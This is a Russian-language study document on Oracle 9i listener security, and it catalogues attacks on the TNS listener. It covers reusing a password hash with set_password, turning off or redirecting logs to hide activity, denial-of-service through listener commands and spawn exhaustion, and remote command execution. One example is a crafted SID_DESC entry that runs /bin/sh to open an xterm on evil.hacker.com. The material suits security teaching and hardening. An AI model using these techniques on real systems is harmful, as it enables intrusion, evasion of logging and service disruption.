Добавил:
Upload Опубликованный материал нарушает ваши авторские права? Сообщите нам.
Вуз: Предмет: Файл:
ibs / LB / ПР / ПР 3 Информационная безопасность Oracle 9i.doc
Скачиваний:
36
Добавлен:
29.03.2016
Размер:
308.22 Кб
Скачать

Атаки листенера

Перечислив цели в листенере, мы можем описать некоторые атаки на листенер. Наиболее интересные атаки требуют от нарушителя способности реконфигурировать листенер и, следовательно, сначала потребуется преодолеть парольную защиту и ADMIN_RESTRICTIONS. Без реконфигурирования листенера нарушитель будет вынужден ограничиваться только атаками типа “отказ в обслуживании”.

Поэтому мы рассматриваем следующие категории атак:

  • преодоление механизма защиты листенера;

  • заметание своих следов;

  • атаки типа “отказ в обслуживании”;

  • удаленное выполнение команд.

Преодоление механизма защиты листенера

Нужно преодолеть парольную защиту и конфигурационную опцию ADMIN_RESTRICTIONS. Для преодоления парольной защиты есть следующие механизмы:

  • угадывание паролей с помощью внешних механизмов (например, использование "социальной инженерии");

  • использование инструментальных средств для организации “лобовых” атак (они начинают появляться и для листенера Oracle);

  • атаки типа “передача хеш-значений”;

  • прямая модификация конфигурационного файла листенера.

Параметр ADMIN_RESTRICTIONS можно изменить только путем модификации конфигурационного файла листенера.

Если нарушитель может читать файл listener.ora, то можно организовать атаку типа “передача хеш-значений”, используя “старый” формат команды LSNRCTL set_password – установить пароль. Эта команда имеет два режима выполнения. Команда set_password без параметра (пароля) заставляет LSNRCTL выдать приглашение для ввода пароля, который перед передачей листенеру будет шифроваться. Однако, если пароль задан в команде set_password, например, “set_password fred”, пароль будет передан листенеру в незашифрованном виде. Это обеспечивает полезную обратную совместимость, но позволяет развернуть атаки на листенер. Читая хеш-значение пароля из файла listener.ora и используя его в команде set_password, нарушитель может обойтись без необходимости знания пароля.

“Социальная инженерия” – хорошо известная и весьма успешная техника выведывания паролей, но она выходит за рамки данной статьи. Использование инструментальных средств, которые не являются продуктами Oracle, также не рассматриваются в данной статье, так как они непосредственно модифицируют конфигурационный файл листенера через проникновение в операционную систему. Тем не менее, есть две атаки, основанные исключительно на Oracle, которые позволяют модифицировать этот файл:

  • для модификации файла с помощью операций базы данных может оказаться возможным воспользоваться мощными привилегиями базы данных, если есть возможность доступа к достаточно мощной учетной записи; такая атака описана ниже в разделе “Атаки баз данных”;

  • атака PLSExtProc , описанная ниже в разделе “PLSExtProc” , может предоставить возможность модификации файла, но для организации атаки потребуется доступ к локальной учетной записи на сервере (предварительным условием для удаленных атак является возможность реконфигурации конфигурационных файлов листенера).

Заметание своих следов

Предположим, что нарушитель получил доступ к незащищенному листенеру (или преодолел механизмы защиты), тогда ему может захотеться скрыть свою деятельность, чтобы избежать обнаружения во время атаки или после проведенного анализа.

Команды SET LOG_STATUS OFF и SET TRC_LEVEL OFF выключают соответственно протоколирование и трассировку. Используя более творческий подход, можно направить протокольные и трассировочные файлы в /dev/null (UNIX) или в поток NTFS (например, в listener.log:HIDDEN в NT). Для этого в командах SET LOG_FILE/TRACE_FILE нужно задать полный доступа, в противном случае листенер будет добавлять расширение имени файла .log, например:

  • SET LOG_FILE listener.txt – откроет новый протокольный файл “listener.txt.log”;

  • SET LOG_FILE /data/oracle/9.0.1/network/log/listener.txt – откроет протокольный файл “listener.txt”.

Дальнейшее творческое использование этого стереотипа поведения обсуждается в следующих разделах.

Нарушитель может также отправить собственноручно созданный пакет, содержащий признак конца файла, который может заставить программное обеспечение просмотра протоколов прекратить вывод следующих сообщений.

Атаки типа “отказ в обслуживании”

Обнаружено, что листенер может подвергаться ряду атак типа “отказ в обслуживании”:

  • использование команд листенера;

  • использование опубликованных оповещений о проблемах безопасности;

  • атака типа “исчерпание ресурсов”.

Как только процесс листенера будет уничтожен, он не сможет отвечать на любые сетевые запросы. Для перезапуска листенера системный администратор должен будет установить локальное соединение с машиной.

Использование команд листенера

Для организации атак типа “отказ в обслуживании” может быть использован ряд команд листенера:

  • команда STOP – простейший способ, она просто аккуратно останавливает листенер;

  • команды SET LOG_FILE/LOG_DIRECTORY и TRC_FILE/TRC_DIRECTORY могут быть использованы для перезаписи любых файлов, находящихся в каталогах, которыми владеет Oracle (в UNIX), или любого файла (в NT, где листенер работает как сервис пользователя SYSTEM).

Использование опубликованных оповещений о проблемах безопасности

Выпущен ряд оповещений о проблемах безопасности, связанных с листенером (в основном это атаки типа “отказ в обслуживании”), а также появилось несколько инструментальных средств, которые позволяют любому воспользоваться ими. Нарушитель просто указывает целевой листенер и запускает такое средство для аварийного завершения листенера.

Атака типа “исчерпание ресурсов”

Эта атака пользуется механизмом создания листенером новых серверных сеансов. Рассмотрим рис. 8.

Рис. 8. Установление через листенер связи клиент-сервер.

Установление соединения через Oracle Net требует выполнения ряда шагов:

  • клиент инициирует соединение с сервером, сообщая листенеру, что он хочет связаться с указанным сервисом;

  • листенер ожидает поступающих запросов на соединение с сервером. Когда запрос получен, он проверяет, запущен ли серверный процесс (запускает его, если требуется), и сообщает серверу, что ожидается соединение;

  • сервер отвечает листенеру, сообщая детали соединения для передачи их клиенту;

  • листенер информирует клиента, что сервер ожидает его, и передает ему детали соединения с сервером;

  • клиент разрывает свое соединение с листенером;

  • клиент начинает соединение с сервером.

Спровоцировав сбой последнего шага в этом процессе, злонамеренный клиент может организовать эффективную атаку сервера типа “отказ в обслуживании”, так как в конечном счете у сервера закончатся ресурсы, израсходованные на ожидание соединений клиентов. Этого можно достигнуть повторяющимся выполнением команды LSNRCTL SPAWN (только в UNIX) или запуском большого количества соединений с базой данных без последующих попыток аутентификации.

Удаленное выполнение команд

Листенер можно использовать для выполнения нарушителем команд сервера:

  • установив протокольный файл листенера как скрипт оболочки ОС и отослав сфабрикованный пакет, содержащий команды оболочки, нарушитель может выполнять в сервере произвольные команды. После записи в файл, который, вероятно, будет выполнен системным администратором или процессом загрузки системы (например, AUTOEXEC.BAT), эти команды могут быть выполнены пользователем с очень высокими привилегиями;

  • как видно из предыдущего анализа, листенер отвечает за запуск серверных процессов. Эти процессы будут работать под пользователем Oracle (в UNIX) или SYSTEM (в NT). Для того чтобы заставить листенер выполнять наши команды, необходимо реконфигурировать файл listener.ora. Это можно сделать через механизм работы с протокольным файлом, направив вывод протокольного файла в файл listener.ora, а затем отослать пакет, содержащий команды, которые мы хотим выполнить. Например, можно послать пакет, содержащий определение SID:

(SID_DESC= (SID_NAME=Hacked) (ORACLE_HOME=/data/oracle/OraHome1) (PROGRAM = /bin/sh) (ARGS = -c, /usr/bin/xterm -display evil.hacker.com:0) )

Затем нужно перезагрузить листенер (RELOAD) и попытаться соединиться с SID “Hacked”, при успешном соединении в узле “evil.hacker.com” появится окно эмулятора терминала xterm;

  • и, наконец, если нарушитель сможет получить на целевой машине локальную учетную запись, если это UNIX и у листенера установлен бит SUID, то появляется возможность выполнять команды как пользователь Oracle, создавая в локальном каталоге файлы LISTENER.ORA и TNSNAMES.ORA, а затем с помощью установки переменной окружения TNS_ADMIN заставляя листенер читать их. Попытки соединения с сервисом, определенном в этих сфабрикованных файлах, заставят листенер выполнять процесс как пользователь Oracle.

Эта атака невозможна в системах NT, поскольку в них листенер работает как сервис NT. Для того чтобы запустить листенер, атакующий пользователь должен иметь возможность создания сервиса NT, то есть уже быть привилегированным пользователем.